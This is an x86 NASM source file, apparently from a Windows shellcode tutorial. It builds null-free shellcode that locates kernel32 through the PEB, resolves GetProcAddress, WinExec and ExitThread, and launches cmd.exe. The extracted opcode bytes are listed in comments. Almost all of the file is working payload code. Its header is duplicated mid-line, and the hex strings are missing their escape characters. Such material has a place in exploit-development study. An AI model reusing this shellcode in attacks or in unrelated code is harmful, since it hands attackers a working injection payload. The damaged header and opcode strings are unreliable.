;Full tutorial: https://www.zinzloun.info [#Windows CMD shellcode]

;COMPILE:
;nasm.exe [-f win32] dynamic.asm -o dynamic.obj
;SKIP -f win32 to create the .obj f ;Full tutorial: https://www.zinzloun.info [#Windows CMD shellcode]

;COMPILE:
;nasm.exe [-f win32] dynamic.asm -o dynamic.obj
;SKIP -f win32 to create the .obj file to extract eventually the hex code
;then execute: [python bin2hex.py dynamic.obj] to get the hex code:

;"x31xc9x64x8bx41x30x8bx40x0cx8bx40x1cx8bx04x08"
;"x8bx04x08x8bx58x08x8bx53x3cx01xdax8bx52x78x01"
;"xdax8bx72x20x01xdex41xadx01xd8x81x38x47x65x74"
;"x50x75xf4x81x78x04x72x6fx63x41x75xebx81x78x08"
;"x64x64x72x65x75xe2x49x8bx72x24x01xdex66x8bx0c"
;"x4ex8bx72x1cx01xdex8bx14x8ex01xdax89xd6x31xc9"
;"x51x68x45x78x65x63x68x41x57x69x6ex89xe1x8dx49"
;"x01x51x53xffxd6x87xfax89xc7x31xc9x51x68x72x65"
;"x61x64x68x69x74x54x68x68x41x41x45x78x89xe1x8d"
;"x49x02x51x53xffxd6x89xc6x31xc9x51x68x65x78x65"
;"x20x68x63x6dx64x2ex89xe1x6ax01x51xffxd7x31xc9"
;"x51xffxd6"

;you can download the python script here: https://github.com/zinzloun/infoSec/blob/master/bin2hex.py

;LINK
;GoLink.exe /console /entry _start dynamic.obj
;IF THE obj FILE IS NOT CREATED WITH THE -f win32 GoLink will COMPLAIN

;Tested and coded on Win10 Home edition 64, tested also on: Win7 EE 32, Win Srv 2012 R2 64

[BITS 32]

[SECTION .text]
global _start
_start:

;FIND Kernel32 BASE ADDRESS
xor ecx, ecx ; trick to avoid null byte MOV EAX,[FS:0x30], we add ecx
MOV EAX, [FS:ecx+0x30] ; EAX = PEB
MOV EAX, [eax+0x0C] ; EAX = PEB->Ldr
MOV EAX, [EAX+0x1C] ; EAX = PEB->Ldr.InInitializationOrderModuleList.Flink
; Start to move the pointer 2 positions ahead
mov eax, [eax+ecx] ; EAX = LDR 2nd entry -> KernelBA * + ecx to avoid NULL
mov eax, [eax+ecx] ; EAX = LDR 3rd entry -> Kernel32
; End move
MOV EBX, [EAX+8] ; EBX = LDR_MODULE's BaseAddress Kernel32

;Find the EXPORT TABLE of kernel32.dll
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew (offset 60)
add edx, ebx ; EDX = PE Header (1)
mov edx, [edx + 0x78] ; EDX = Offset export table (offset 120)
add edx, ebx ; EDX = Export table (data type IMAGE_EXPORT_DIRECTORY) (2), we will use this value later (*)
mov esi, [edx + 0x20] ; ESI = Relative offset to AddressOfNames
add esi, ebx ; ESI = AddressOfNames (3)

;Find GetProcAddress function name (the ordinal)
Find_GetProc:
inc ecx ; Increment the counter (we start from 1)
; lodsd instruction will follow the pointer specified by the ESI register and set result in the EAX, this means that after the lodsd
; instruction we will have the offset of the current name function in EAX.
; the instruction will also increment the esi register value with 4, so ESI will already point to next function name offset
lodsd
add eax, ebx ; Get function name (offset + base a)
cmp dword [eax], 0x50746547 ; PteG ->search first 4 bytes of the string GetProcAddre in little-endian format
jnz Find_GetProc
cmp dword [eax + 0x4], 0x41636f72 ; Acor ->other 4 bytes
jnz Find_GetProc
cmp dword [eax + 0x8], 0x65726464 ; erdd ->other 4 bytes. At this point even without checking the last 2 bytes (ss) of the function name we assume it is GetProcAddress
jnz Find_GetProc
dec ecx ; we start counting from 1 but the adrress index start from 0 so we need to decrement ECX
; now ECX points to the array index of AddressOfNames and we can obtain the ordinal value in this way: AddressOfNameOrdinals[ecx] = ordinal

;Find the address of GetProcAddress function
mov esi, [edx + 0x24] ; ESI = Offset to AddressOfNameOrdinals (4)(*)
add esi, ebx ; ESI = AddressOfNameOrdinals
mov cx, [esi + ecx * 2] ; CX (lower word of ECX 16bit) = AddressOfNameOrdinals contains two byte numbers value (the ordinal), so we only need of the lower word of ECX
; CX (16bit == 2byte). This value is the link (the index) to the AddressOfFunctions
; so CX now points to the Number of function (ordinal) that corresponds to the GetProcAddress address value in the AddressOfFunctions
mov esi, [edx + 0x1c] ; ESI = Offset to AddressOfFunctions (5)
add esi, ebx ; ESI = AddressOfFunctions
mov edx, [esi + ecx * 4] ; EDX = Offset to GetProcAddress function address: AddressOfFunctions[ecx*4]
; We set ecx * 4 because each address pointer has 4 bytes reserved and ESI points to the beginning of AddressOfFunctions array
add edx, ebx ; EDX = GetProcAddress

;EDX WILL CHANGE AFTER THE CALL
mov esi, edx ; store GetProcAddress in ESI

;Finding address of Winexec calling GetProcAddress(base kernel32,"Winexec")
xor ecx,ecx
push ecx
;another trick to avoid null bytes: prefix the Winexec string with A to keep the stack aligned without null
;we load AWinexec
push 0x63657845
push 0x6e695741
mov ecx,esp
lea ecx, [ecx+1] ; get rid of 41(A)
push ecx ; Winexec
push ebx ; Base kernel32

call esi ;Call GetProcAddress: the return result is saved in EAX

xchg edi,edx
mov edi, eax;save Winexec address in EDI

;Finding address of ExitThread calling GetProcAddress(base kernel32,"ExitThread")
xor ecx,ecx
push ecx
;the same trick used before for WinExec
PUSH 0x64616572
PUSH 0x68547469
PUSH 0x78454141

mov ecx,esp
lea ecx, [ecx+2] ; get rid of 4141(AA)

push ecx ; ExitThread
push ebx ; Base kernel32

call esi ;Call GetProcAddress: the return result is saved in EAX
mov esi, eax;save ExitThread address in esi (overwrite GetProcAddress since we don't need anymore)

;Finally call cmd.exe
xor ecx,ecx
push ecx
push 0x20657865
push 0x2e646d63

mov ecx,esp ; "cmd.exe "
push 0x1 ; windows style
push ecx

call edi ; WinExec("cmd.exe ",1)

;exit clean
xor ecx,ecx
push ecx
call esi ; ExitThread(0)